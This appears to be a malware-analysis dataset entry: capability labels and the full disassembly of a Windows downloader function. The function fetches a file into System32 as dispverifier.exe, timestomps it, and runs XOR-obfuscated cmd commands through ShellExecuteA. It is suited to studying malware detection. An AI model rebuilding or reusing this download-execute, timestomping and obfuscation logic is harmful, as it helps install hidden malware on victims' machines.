Function at 0x140002080
Capabilities:
Contain obfuscated stackstrings
Create http request
Create process on windows
Download and write a file
Encode data using xor
Read data from internet
Receive and write data from server to client
Receive data
Timestomp file
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
push r13
push r14
lea rbp, [rsp - 0x3a8]
sub rsp, 0x4a8
mov rax, qword [0x140006010]
xor rax, rsp
mov qword [rbp + 0x390], rax
cmp qword [0x140006718], 0x10
lea rbx, [0x140006700]
mov r14, qword [0x140006710]
jb 0x140001576
mov rbx, qword [0x140006700]
mov qword [rsp + 0x4d0], rsi
add r14, rbx
xor esi, esi
mov qword [rsp + 0x4d8], rdi
mov qword [rsp + 0x4a0], r15
xorps xmm0, xmm0
mov r13d, 0xa
movups xmmword [rsp + 0x38], xmm0
cmp rbx, r14
jne 0x1400015bf
mov eax, 7
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rax
mov word [rsp + 0x38], si
jmp 0x1400016df
mov r15d, 7
mov rax, r14
sub rax, rbx
mov qword [rsp + 0x50], r15
movabs rcx, 0x7ffffffffffffffe
mov rdx, rsi
mov qword [rsp + 0x48], rdx
mov edi, r15d
cmp rax, rcx
ja 0x140001c6d
cmp rax, 8
jb 0x140001693
mov rdi, rax
or rdi, r15
cmp rdi, rcx
jbe 0x140001608
mov rdi, rcx
jmp 0x14000160f
cmp rdi, r13
cmovb rdi, r13
mov rcx, 0xffffffffffffffff
mov rax, rdi
add rax, 1
cmovb rax, rcx
movabs rcx, 0x7fffffffffffffff
cmp rax, rcx
ja 0x140001c67
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x140001675
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001c67
mov rcx, rax
call fcn.1400020c0
mov rcx, rax
test rax, rax
je 0x140001887
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov rdx, qword [rsp + 0x48]
jmp 0x140001689
test rcx, rcx
je 0x140001686
call fcn.1400020c0
mov rdx, qword [rsp + 0x48]
jmp 0x140001689
mov rax, rsi
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x50], rdi
movsx eax, byte [rbx]
lea rcx, [rsp + 0x38]
cmp rdi, 8
cmovae rcx, qword [rsp + 0x38]
inc rbx
mov word [rcx + rdx*2], ax
mov rdx, qword [rsp + 0x48]
inc rdx
mov qword [rsp + 0x48], rdx
cmp rbx, r14
je 0x1400016c5
mov rdi, qword [rsp + 0x50]
jmp 0x140001693
cmp qword [rsp + 0x50], 8
lea rax, [rsp + 0x38]
cmovae rax, qword [rsp + 0x38]
mov word [rax + rdx*2], si
mov rax, qword [rsp + 0x50]
cmp rax, 8
mov dword [rsp + 0x20], esi
lea rbx, [rsp + 0x38]
cmovae rbx, qword [rsp + 0x38]
lea rcx, str.n3xxdService
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r14, rax
test rax, rax
je 0x14000184e
mov qword [rsp + 0x28], rsi
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x80000000
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
jne 0x14000174a
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000184e
lea rdx, [0x1400043e4]
mov qword [rsp + 0x4e0], r12
lea rcx, str.C:WindowsSystem32dispverifier.exe
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__fileno]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__get_osfhandle]
mov rcx, rbx
mov r12, rax
test rdi, rdi
je 0x140001837
lea r9, [rsp + 0x58]
mov r8d, 0x400
lea rdx, [rbp - 0x70]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400017db
mov eax, dword [rsp + 0x58]
test eax, eax
je 0x1400017db
mov r8d, eax
lea rcx, [rbp - 0x70]
mov r9, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
lea r9, [rsp + 0x58]
mov r8d, 0x400
lea rdx, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400017a2
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x68], 0xc07e3
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x6e], 0xa0007
mov dword [rsp + 0x72], 8
mov word [rsp + 0x76], si
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea r9, [rsp + 0x60]
mov rcx, r12
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r12, qword [rsp + 0x4e0]
mov rdx, qword [rsp + 0x50]
cmp rdx, 8
jb 0x140001893
mov rcx, qword [rsp + 0x38]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000188e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000188e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002354
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x140004550]
mov rcx, rsi
movdqa xmm1, xmmword [0x140004610]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm0, xmmword [0x1400045d0]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [0x1400044a0]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm1, xmmword [0x140004640]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm0, xmmword [0x1400045b0]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm1, xmmword [0x1400044e0]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm0, xmmword [0x1400044b0]
movdqa xmmword [rbp - 0x20], xmm1
movdqa xmm1, xmmword [0x1400045c0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmmword [rbp], xmm1
mov byte [rbp + 0x20], 0
nop word [rax + rax]
movzx eax, byte [rbp - 0x70]
xor byte [rbp + rcx - 0x6f], al
inc rcx
cmp rcx, 0x8f
jb 0x140001920
mov dword [rsp + 0x28], esi
lea r9, [rbp - 0x6f]
lea r8, [rsp + 0x59]
mov qword [rsp + 0x20], rsi
lea rdx, [rsp + 0x61]
mov byte [rbp + 0x20], 0
xor ecx, ecx
mov dword [rsp + 0x58], 0x646d6340
mov byte [rsp + 0x5c], 0
mov dword [rsp + 0x60], 0x65706f0a
mov word [rsp + 0x64], 0x6e
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x140004500]
lea r9, [rbp - 0x6f]
movdqa xmm1, xmmword [0x1400045e0]
lea r8, [rsp + 0x59]
movdqa xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x61]
movdqa xmm0, xmmword [0x140004630]
xor ecx, ecx
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm1, xmmword [0x140004570]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [0x1400044c0]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm1, xmmword [0x140004490]
mov dword [rsp + 0x28], esi
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0x10], 0
mov dword [rsp + 0x58], 0x646d630e
mov byte [rsp + 0x5c], 0
mov dword [rsp + 0x60], 0x65706f67
mov word [rsp + 0x64], 0x6e
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x140004510]
lea r9, [rbp - 0x6f]
movdqa xmm1, xmmword [0x1400045e0]
lea r8, [rsp + 0x59]
movdqa xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x61]
movdqa xmm0, xmmword [0x140004630]
xor ecx, ecx
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm1, xmmword [0x140004570]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [0x1400044d0]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm1, xmmword [0x140004590]
mov dword [rsp + 0x28], esi
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x20], xmm1
mov word [rbp - 0x10], 0x22
mov dword [rsp + 0x58], 0x646d633f
mov byte [rsp + 0x5c], 0
mov dword [rsp + 0x60], 0x65706f37
mov word [rsp + 0x64], 0x6e
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x140004520]
movdqa xmm1, xmmword [0x1400045e0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm0, xmmword [0x140004630]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm1, xmmword [0x140004570]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [0x140004480]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm1, xmmword [0x1400045f0]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x20], xmm1
mov dword [rbp - 0x10], 0x536c6163
mov dword [rbp - 0xc], 0x65747379
mov dword [rbp - 8], 0x2f20226d
mov word [rbp - 4], 0x2266
mov byte [rbp - 2], 0
mov dword [rsp + 0x58], 0x646d634c
mov byte [rsp + 0x5c], 0
mov dword [rsp + 0x60], 0x65706f61
mov word [rsp + 0x64], 0x6e
mov dword [rsp + 0x28], esi
lea r9, [rbp - 0x6f]
lea r8, [rsp + 0x59]
mov qword [rsp + 0x20], rsi
lea rdx, [rsp + 0x61]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x30]
call fcn.140001c80
mov r9, rax
mov r8d, 0x3a
lea rcx, [rax + 2]
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [r9]
xor byte [rcx - 1], dl
lea rcx, [rcx + 5]
movzx edx, byte [r9]
xor byte [rcx - 5], dl
movzx edx, byte [r9]
xor byte [rcx - 4], dl
movzx eax, byte [r9]
xor byte [rcx - 3], al
movzx eax, byte [r9]
xor byte [rcx - 2], al
sub r8, 1
jne 0x140001b60
mov byte [r9 + 0x123], r8b
lea rdx, [rsp + 0x61]
mov byte [rsp + 0x5c], r8b
inc r9
lea r8, [rsp + 0x59]
mov dword [rsp + 0x28], esi
xor ecx, ecx
mov dword [rsp + 0x58], 0x646d6352
mov dword [rsp + 0x60], 0x65706f2d
mov word [rsp + 0x64], 0x6e
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x140004620]
lea r9, [rsp + 0x69]
mov dword [rsp + 0x28], esi
lea r8, [rsp + 0x59]
lea rdx, [rsp + 0x61]
mov dword [rsp + 0x78], 0x63764168
xor ecx, ecx
mov dword [rsp + 0x7c], 0x76537074
movdqu xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x80], 0x2263
mov byte [rbp - 0x7e], 0
mov dword [rsp + 0x58], 0x646d636c
mov byte [rsp + 0x5c], 0
mov dword [rsp + 0x60], 0x65706f3b
mov word [rsp + 0x64], 0x6e
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r15, qword [rsp + 0x4a0]
mov rdi, qword [rsp + 0x4d8]
mov rsi, qword [rsp + 0x4d0]
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.1400020a0
add rsp, 0x4a8
pop r14
pop r13
pop rbx
pop rbp
ret
call fcn.140001120
int3
call fcn.1400011c0
int3
lea rcx, [0x1400066e0]
jmp 0x140001530